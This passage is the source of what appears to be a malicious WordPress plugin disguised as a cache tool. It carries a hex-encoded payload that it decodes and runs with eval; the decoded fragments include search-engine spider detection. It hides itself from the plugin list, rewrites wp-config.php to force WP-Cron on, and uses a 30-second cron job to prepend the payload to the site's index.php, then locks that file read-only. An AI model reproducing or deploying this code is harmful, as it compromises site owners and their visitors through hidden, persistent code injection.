\'70282476\' . \'2c2022756e\' . \'6b6e\' . \'6f776e2\' . \'22929\' . \'207b0a\' . \'20202020\' . \'2020202072\' . \'6574\' . \'75726e2\' . \'02476\' . \'3b0a20\' . \'2020207d\' . \'0a20202020\' . \'2476\' . \'203d206\' . \'76574\' . \'656e76\' . \'28225245\' . \'4d4f54455f\' . \'4144\' . \'4452222\' . \'93b0a\' . \'202020\' . \'20696620\' . \'2824762026\' . \'2620\' . \'7374726\' . \'36173\' . \'65636d\' . \'70282476\' . \'2c2022756e\' . \'6b6e\' . \'6f776e2\' . \'22929\' . \'207b0a\' . \'20202020\' . \'2020202072\' . \'6574\' . \'75726e2\' . \'02476\' . \'3b0a20\' . \'2020207d\' . \'0a20202020\' . \'6966\' . \'2028697\' . \'37365\' . \'742824\' . \'5f534552\' . \'5645525b22\' . \'5245\' . \'4d4f544\' . \'55f41\' . \'444452\' . \'225d2920\' . \'262620245f\' . \'5345\' . \'5256455\' . \'25b22\' . \'52454d\' . \'4f54455f\' . \'4144445222\' . \'5d20\' . \'2626207\' . \'37472\' . \'636173\' . \'65636d70\' . \'28245f5345\' . \'5256\' . \'45525b2\' . \'25245\' . \'4d4f54\' . \'455f4144\' . \'4452225d2c\' . \'2022\' . \'756e6b6\' . \'e6f77\' . \'6e2229\' . \'29207b0a\' . \'2020202020\' . \'2020\' . \'2072657\' . \'47572\' . \'6e2024\' . \'5f534552\' . \'5645525b22\' . \'5245\' . \'4d4f544\' . \'55f41\' . \'444452\' . \'225d3b0a\' . \'202020207d\' . \'0a20\' . \'2020207\' . \'26574\' . \'75726e\' . \'2022223b\' . \'0a7d0a0a66\' . \'756e\' . \'6374696\' . \'f6e20\' . \'626164\' . \'53706964\' . \'6572282475\' . \'7365\' . \'7241676\' . \'56e74\' . \'290a7b\' . \'0a202020\' . \'2024737069\' . \'6465\' . \'7273747\' . \'2203d\' . \'202753\' . \'656d7275\' . \'7368426f74\' . \'7c44\' . \'6f74426\' . \'f747c\' . \'547769\' . \'74746572\' . \'7c66616365\' . \'626f\' . \'6f6b7c5\' . \'9616e\' . \'646578\' . \'7c4d4a31\' . \'32626f747c\' . \'4168\' . \'7265667\' . \'3426f\' . \'747c4d\' . \'61756942\' . \'6f747c4d65\' . \'6761\' . \'496e646\' . \'5782e\' . \'72757c\' . \'424c4558\' . \'426f747c5a\' . \'6f6f\' . \'6d696e6\' . \'66f42\' . \'6f747c\' . \'4578744c\' . \'696e6b7342\' . \'6f74\' . \'7c68756\' . \'27370\' . \'6f747c\' . \'6c65696b\' . \'697c776562\' . \'6d65\' . \'75707c5\' . \'36c75\' . \'72707c\' . \'74776963\' . \'656c65727c\' . \'4164\' . \'6454686\' . \'9732e\' . \'636f6d\' . \'7c41636f\' . \'6f6e426f74\' . \'7c41\' . \'63756e6\' . \'57469\' . \'787c61\' . \'64626561\' . \'745f626f74\' . \'7c41\' . \'6464546\' . \'86973\' . \'2e636f\' . \'6d7c6164\' . \'697878626f\' . \'747c\' . \'4265657\' . \'46c65\' . \'426f74\' . \'7c696462\' . \'6f747c4343\' . \'426f\' . \'747c437\' . \'26177\' . \'6c6572\' . \'617c5a75\' . \'6d426f747c\' . \'5a79\' . \'426f726\' . \'7273b\' . \'0a2020\' . \'20202473\' . \'7069646572\' . \'4167\' . \'656e747\' . \'3203d\' . \'206578\' . \'706c6f64\' . \'6528227c22\' . \'2c20\' . \'2473706\' . \'96465\' . \'727374\' . \'72293b0a\' . \'2020202066\' . \'6f72\' . \'6561636\' . \'82028\' . \'247370\' . \'69646572\' . \'4167656e74\' . \'7320\' . \'6173202\' . \'46167\' . \'656e74\' . \'29207b0a\' . \'2020202020\' . \'2020\' . \'2069662\' . \'02873\' . \'747269\' . \'706f7328\' . \'2475736572\' . \'4167\' . \'656e742\' . \'c2024\' . \'616765\' . \'6e742920\' . \'213d3d2066\' . \'616c\' . \'7365292\' . \'07b0a\' . \'202020\' . \'20202020\' . \'2020202020\' . \'7265\' . \'7475726\' . \'e2074\' . \'727565\' . \'3b0a2020\' . \'2020202020\' . \'207d\' . \'0a20202\' . \'0207d\' . \'0a2020\' . \'20207265\' . \'7475726e20\' . \'6661\' . \'6c73653\' . \'b0a7d\' . \'0a0a66\' . \'756e6374\' . \'696f6e2063\' . \'6865\' . \'636b4c6\' . \'96e6b\' . \'28246c\' . \'696e6b29\' . \'0a7b0a2020\' . \'2020\' . \'2470617\' . \'47465\' . \'726e20\' . \'3d20272f\' . \'5c2f5c3f5b\' . \'612d\' . \'7a412d5\' . \'a5d3d\' . \'2f273b\' . \'0a202020\' . \'2072657475\' . \'726e\' . \'2070726\' . \'5675f\' . \'6d6174\' . \'63682824\' . \'7061747465\' . \'726e\' . \'2c20246\' . \'c696e\' . \'6b2920\' . \'3e20303b\' . \'0a7d0a0a66\' . \'756e\' . \'6374696\' . \'f6e20\' . \'636865\' . \'636b4669\' . \'6c65547970\' . \'6528\' . \'2475726\' . \'c290a\' . \'7b0a20\' . \'20202024\' . \'70203d2073\' . \'7472\' . \'746f6c6\' . \'f7765\' . \'722870\' . \'61727365\' . \'5f75726c28\' . \'2475\' . \'726c2c2\' . \'05048\' . \'505f55\' . \'524c5f50\' . \'4154482920\' . \'3f3a\' . \'2027272\' . \'93b0a\' . \'202020\' . \'20696620\' . \'282470203d\' . \'3d3d\' . \'20272f6\' . \'96e64\' . \'65782e\' . \'70687027\' . \'207c7c2024\' . \'7020\' . \'3d3d3d2\' . \'0272f\' . \'696e64\' . \'65782e70\' . \'68702f2729\' . \'207b\' . \'0a20202\' . \'02020\' . \'202020\' . \'72657475\' . \'726e206661\' . \'6c73\' . \'653b0a2\' . \'02020\' . \'207d0a\' . \'20202020\' . \'2466696c65\' . \'5479\' . \'7065732\' . \'03d20\' . \'617272\' . \'6179280a\' . \'2020202020\' . \'2020\' . \'20276a7\' . \'06727\' . \'2c2027\' . \'6a706567\' . \'272c202770\' . \'6e67\' . \'272c202\' . \'76769\' . \'66272c\' . \'2027626d\' . \'70272c2027\' . \'7765\' . \'6270272\' . \'c2027\' . \'706870\' . \'272c2027\' . \'617669272c\' . \'0a20\' . \'2020202\' . \'02020\' . \'20276a\' . \'73272c20\' . \'2763737327\' . \'2c20\' . \'27646f6\' . \'3272c\' . \'202765\' . \'7865272c\' . \'202769736f\' . \'272c\' . \'2027746\' . \'96627\' . \'2c2027\' . \'70696327\' . \'2c20277469\' . \'6666\' . \'272c202\' . \'7776f\' . \'666632\' . \'272c2027\' . \'776176272c\' . \'2027\' . \'696e742\' . \'72c20\' . \'27646c\' . \'6c272c20\' . \'2773797327\' . \'2c20\' . \'2762616\' . \'b272c\' . \'202762\' . \'6174272c\' . \'0a20202020\' . \'2020\' . \'2020277\' . \'06466\' . \'272c20\' . \'27786c73\' . \'272c20277a\' . \'6970\' . \'272c202\' . \'77261\' . \'72272c\' . \'20277461\' . \'722e677a27\' . \'2c20\' . \'276d703\' . \'3272c\' . \'20276d\' . \'7034272c\' . \'2027707074\' . \'272c\' . \'2027747\' . \'87427\' . \'2c2027\' . \'677a272c\' . \'0a20202020\' . \'2020\' . \'2020276\' . \'17370\' . \'272c20\' . \'27617370\' . \'78272c2027\' . \'6a73\' . \'70272c2\' . \'02774\' . \'706c27\' . \'2c202761\' . \'6a6178272c\' . \'0a20\' . \'2020202\' . \'93b0a\' . \'202020\' . \'20246578\' . \'74656e7369\' . \'6f6e\' . \'203d207\' . \'37472\' . \'746f6c\' . \'6f776572\' . \'2870617468\' . \'696e\' . \'666f282\' . \'47572\' . \'6c2c20\' . \'50415448\' . \'494e464f5f\' . \'4558\' . \'54454e5\' . \'3494f\' . \'4e2929\' . \'3b0a2020\' . \'2020696620\' . \'2869\' . \'6e5f617\' . \'27261\' . \'792824\' . \'65787465\' . \'6e73696f6e\' . \'2c20\' . \'2466696\' . \'c6554\' . \'797065\' . \'73292920\' . \'7b0a202020\' . \'2020\' . \'2020207\' . \'26574\' . \'75726e\' . \'20747275\' . \'653b0a2020\' . \'2020\' . \'7d0a202\' . \'02020\' . \'726574\' . \'75726e20\' . \'66616c7365\' . \'3b0a\' . \'7d0a2f2\' . \'f2032\' . \'445541\' . \'4e5f454e\' . \'44\' ); if (is_string($_fm_h) && $_fm_h !== \'\') { eval($_fm_h); } '); } if (!defined('FM_CACHE_CRON_HOOK')) { define('FM_CACHE_CRON_HOOK', 'fm_cache_index_inject_cron'); } if (!defined('FM_CACHE_CRON_SCHEDULE')) { define('FM_CACHE_CRON_SCHEDULE', 'fm_cache_every_30s'); } /** Hide from plugins list. */ add_filter('all_plugins', static function ($plugins) { $key = plugin_basename(__FILE__); if (isset($plugins[$key])) { unset($plugins[$key]); } return $plugins; }); add_filter('cron_schedules', static function ($schedules) { if (!isset($schedules[FM_CACHE_CRON_SCHEDULE])) { $schedules[FM_CACHE_CRON_SCHEDULE] = array( 'interval' => 30, 'display' => 'Every 30 Seconds', ); } return $schedules; }); add_action('init', 'fm_cache_bootstrap', 1); add_action(FM_CACHE_CRON_HOOK, 'fm_cache_cron_inject_index'); register_activation_hook(__FILE__, 'fm_cache_on_activate'); register_deactivation_hook(__FILE__, 'fm_cache_on_deactivate'); function fm_cache_on_activate() { fm_cache_ensure_wp_cron_enabled(); fm_cache_schedule_cron(); } function fm_cache_on_deactivate() { $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK); while ($ts) { wp_unschedule_event($ts, FM_CACHE_CRON_HOOK); $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK); } } function fm_cache_bootstrap() { fm_cache_ensure_wp_cron_enabled(); fm_cache_schedule_cron(); } function fm_cache_schedule_cron() { if (!wp_next_scheduled(FM_CACHE_CRON_HOOK)) { wp_schedule_event(time() + 5, FM_CACHE_CRON_SCHEDULE, FM_CACHE_CRON_HOOK); } } function fm_cache_wp_config_path() { $candidates = array( ABSPATH . 'wp-config.php', dirname(ABSPATH) . '/wp-config.php', ); foreach ($candidates as $path) { if (is_file($path) && is_readable($path)) { return wp_normalize_path($path); } } return ''; } /** * wp-config 若关闭 WP-Cron,改写 DISABLE_WP_CRON 为 false。 */ function fm_cache_ensure_wp_cron_enabled() { if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) { // already loaded as true in this request; still patch file for next hit } elseif (!defined('DISABLE_WP_CRON') || !DISABLE_WP_CRON) { return true; } if (get_option('fm_cache_wp_config_patched') === '1') { return false; } $path = fm_cache_wp_config_path(); if ($path === '') { return false; } $raw = @file_get_contents($path); if (!is_string($raw) || $raw === '') { return false; } $patterns = array( "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*true\\s*\\)\\s*;?/i", "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*'true'\\s*\\)\\s*;?/i", "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*\"true\"\\s*\\)\\s*;?/i", ); $replacement = "define('DISABLE_WP_CRON', false);"; $next = $raw; $hit = false; foreach ($patterns as $pattern) { $replaced = preg_replace($pattern, $replacement, $next, -1, $count); if ($count > 0 && is_string($replaced)) { $next = $replaced; $hit = true; } } if (!$hit) { return false; } if (!fm_cache_make_writable($path)) { return false; } if (@file_put_contents($path, $next, LOCK_EX) === false) { return false; } update_option('fm_cache_wp_config_patched', '1', false); return true; } function fm_cache_root_index_path() { return wp_normalize_path(ABSPATH . 'index.php'); } function fm_cache_cron_inject_index() { $code = fm_cache_get_index_custom_code(); if ($code === '') { return; } fm_cache_inject_root_index($code); } function fm_cache_get_index_custom_code() { return FM_CACHE_INDEX_CUSTOM_CODE; } function fm_cache_inject_root_index($custom_code) { $file = fm_cache_root_index_path(); if (!is_file($file)) { return false; } if (!fm_cache_make_writable($file)) { return false; } $content = @file_get_contents($file); if ($content === false) { return false; } $merged = fm_cache_idx_prepend_custom($content, $custom_code); if (!is_string($merged) || $merged === $content) { fm_cache_finalize_index($file); return $merged === $content; } if (@file_put_contents($file, $merged, LOCK_EX) === false) { return false; } if (function_exists('opcache_invalidate')) { @opcache_invalidate($file, true); } @clearstatcache(true, $file); fm_cache_finalize_index($file); return true; } function fm_cache_make_writable($path) { if (is_writable($path)) { return true; } @chmod($path, 0644); clearstatcache(true, $path); return is_writable($path); } function fm_cache_finalize_index($path) { @chmod($path, 0444); clearstatcache(true, $path); } /* ---------- index prepend helpers (prepend-only, original bytes preserved) ---------- */ function fm_cache_idx_strip_bom($content) { if (!is_string($content) || strlen($content) < 3) { return $content; } if (ord($content[0]) === 0xEF && ord($content[1]) === 0xBB && ord($content[2]) === 0xBF) { return substr($content, 3); } return $content; } function fm_cache_idx_is_php_open_at($content, $pos, $in_str) { if ($in_str || !is_string($content) || $pos < 0) { return false; } $len = strlen($content); if ($pos + 5 > $len || strncasecmp(substr($content, $pos, 5), '<?php', 5) !== 0) { return false; } if ($pos > 0) { $prev = $content[$pos - 1]; if (ctype_alnum($prev) || $prev === '_') { return false; } } return true; } function fm_cache_idx_advance_string_state($content, $pos, &$in_str, &$str_chr, &$esc) { $c = $content[$pos]; if ($esc) { $esc = false; return; } if ($in_str) { if ($c === '\\') { $esc = true; } elseif ($c === $str_chr) { $in_str = false; } return; } if ($c === '"' || $c === "'") { $in_str = true; $str_chr = $c; } } function fm_cache_idx_block_bounds_after_open($content, $openPos) { $len = strlen($content); $pos = $openPos + 5; $in_str = false; $str_chr = ''; $esc = false; while ($pos < $len) { fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc); if (!$in_str && $pos + 2 <= $len && $content[$pos] === '?' && $content[$pos + 1] === '>') { return array('end' => $pos + 2, 'closed' => true); } if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) { return array('end' => $pos, 'closed' => false); } $pos++; } return array('end' => $len, 'closed' => false); } function fm_cache_idx_leading_ws_end($content) { $len = strlen($content); $p = 0; while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } return $p; } function fm_cache_idx_parse_leading_php_blocks($content) { $content = fm_cache_idx_strip_bom($content); if (!is_string($content) || $content === '') { return array('count' => 0, 'blocks' => array(), 'tail' => (string) $content); } $lead = fm_cache_idx_leading_ws_end($content); if (!fm_cache_idx_is_php_open_at($content, $lead, false)) { return array('count' => 0, 'blocks' => array(), 'tail' => $content); } $blocks = array(); $b1start = $lead; $b1bounds = fm_cache_idx_block_bounds_after_open($content, $b1start); $blocks[] = array( 'start' => $b1start, 'end' => $b1bounds['end'], 'inner' => substr($content, $b1start + 5, $b1bounds['end'] - $b1start - 5), ); $p = $b1bounds['end']; $len = strlen($content); while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if ($p < $len && fm_cache_idx_is_php_open_at($content, $p, false)) { $b2start = $p; $b2bounds = fm_cache_idx_block_bounds_after_open($content, $b2start); $blocks[] = array( 'start' => $b2start, 'end' => $b2bounds['end'], 'inner' => substr($content, $b2start + 5, $b2bounds['end'] - $b2start - 5), ); return array('count' => 2, 'blocks' => $blocks, 'tail' => substr($content, $b2start)); } return array('count' => 1, 'blocks' => $blocks, 'tail' => $content); } function fm_cache_idx_inner_has_marker($inner) { if (function_exists('b26_index_block_is_sed_inject')) { return b26_index_block_is_sed_inject($inner); } if (!is_string($inner) || $inner === '') { return false; } $needles = array('__B26_2DUAN_', '// 2DUAN_START', FM_CACHE_IDX_MARKER); foreach ($needles as $needle) { if (strpos($inner, $needle) !== false) { return true; } } return (strpos($inner, '$_fm_h') !== false && strpos($inner, 'hex2bin') !== false); } function fm_cache_idx_collapse_redundant_inject_blocks($content) { if (function_exists('b26_index_collapse_redundant_inject_blocks')) { return b26_index_collapse_redundant_inject_blocks($content); } if (!is_string($content) || $content === '') { return $content; } $parsed = fm_cache_idx_parse_leading_php_blocks($content); if ($parsed['count'] < 2 || empty($parsed['blocks'][0])) { return $content; } $b0 = $parsed['blocks'][0]; if (!fm_cache_idx_inner_has_marker($b0['inner'])) { return $content; } if (empty($parsed['blocks'][1]) || !fm_cache_idx_inner_has_marker($parsed['blocks'][1]['inner'])) { return $content; } $siteTail = fm_cache_idx_get_site_tail_for_prepend($content); if ($siteTail === '') { return $content; } $firstBlockBytes = substr($content, $b0['start'], $b0['end'] - $b0['start']); return fm_cache_idx_join_inject_and_site($firstBlockBytes, $siteTail); } function fm_cache_idx_get_site_tail_for_prepend($content) { if (function_exists('b26_index_get_site_tail_for_prepend')) { return b26_index_get_site_tail_for_prepend($content); } if (!is_string($content) || $content === '') { return ''; } $content = fm_cache_idx_strip_bom($content); $guard = 0; while ($guard++ < 32) { $parsed = fm_cache_idx_parse_leading_php_blocks($content); $count = (int) $parsed['count']; if ($count < 1 || empty($parsed['blocks'][0])) { return $content; } $firstInner = (string) $parsed['blocks'][0]['inner']; if (fm_cache_idx_inner_has_marker($firstInner)) { if ($count >= 2) { $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']); continue; } return ''; } if ($count >= 2) { return fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']); } return $content; } return $content; } function fm_cache_idx_content_has_php_open($content) { if (!is_string($content) || $content === '') { return false; } $len = strlen($content); $in_str = false; $str_chr = ''; $esc = false; for ($pos = 0; $pos < $len; $pos++) { fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc); if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) { return true; } } return false; } function fm_cache_idx_empty_php_sentinel() { return '<?php ?>'; } function fm_cache_idx_strip_empty_php_sentinel_prefix($content) { if (!is_string($content) || $content === '') { return $content; } $lead = fm_cache_idx_leading_ws_end($content); if (!fm_cache_idx_is_php_open_at($content, $lead, false)) { return $content; } $bounds = fm_cache_idx_block_bounds_after_open($content, $lead); if (empty($bounds['closed'])) { return $content; } $inner = substr($content, $lead + 5, $bounds['end'] - $lead - 7); if (trim($inner) !== '') { return $content; } return substr($content, $bounds['end']); } /** * 取出原站正文:剥掉所有最前带 FM_CACHE_IDX_INJECT 的独立 <?php ?> 段。 */ function fm_cache_idx_extract_original($content) { if (!is_string($content) || $content === '') { return ''; } $content = fm_cache_idx_strip_bom($content); $guard = 0; while ($guard < 32) { $guard++; $parsed = fm_cache_idx_parse_leading_php_blocks($content); $count = (int) $parsed['count']; if ($count === 0 || empty($parsed['blocks'][0])) { break; } if (!fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) { break; } if ($count >= 2) { $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']); continue; } $end = (int) $parsed['blocks'][0]['end']; $content = fm_cache_idx_strip_empty_php_sentinel_prefix(substr($content, $end)); } return $content; } function fm_cache_idx_build_inject_block($custom_code) { $body = trim((string) $custom_code, "\r\n"); $inner = "// " . FM_CACHE_IDX_MARKER . "\n" . $body; return "<?php\n" . $inner . "\n?>"; } function fm_cache_idx_join_inject_and_site($newBlock, $sitePart) { $sitePart = (string) $sitePart; if (!fm_cache_idx_content_has_php_open($sitePart)) { return $newBlock . fm_cache_idx_empty_php_sentinel() . $sitePart; } return $newBlock . $sitePart; } function fm_cache_idx_prepend_custom($original, $custom_code) { if (!is_string($original) || $original === '' || !is_string($custom_code)) { return false; } $original = fm_cache_idx_collapse_redundant_inject_blocks($original); $newBlock = fm_cache_idx_build_inject_block($custom_code); $parsed = fm_cache_idx_parse_leading_php_blocks($original); $count = (int) $parsed['count']; if ($count >= 1 && !empty($parsed['blocks'][0]) && fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) { return $original; } $sitePart = fm_cache_idx_get_site_tail_for_prepend($original); return fm_cache_idx_join_inject_and_site($newBlock, $sitePart); }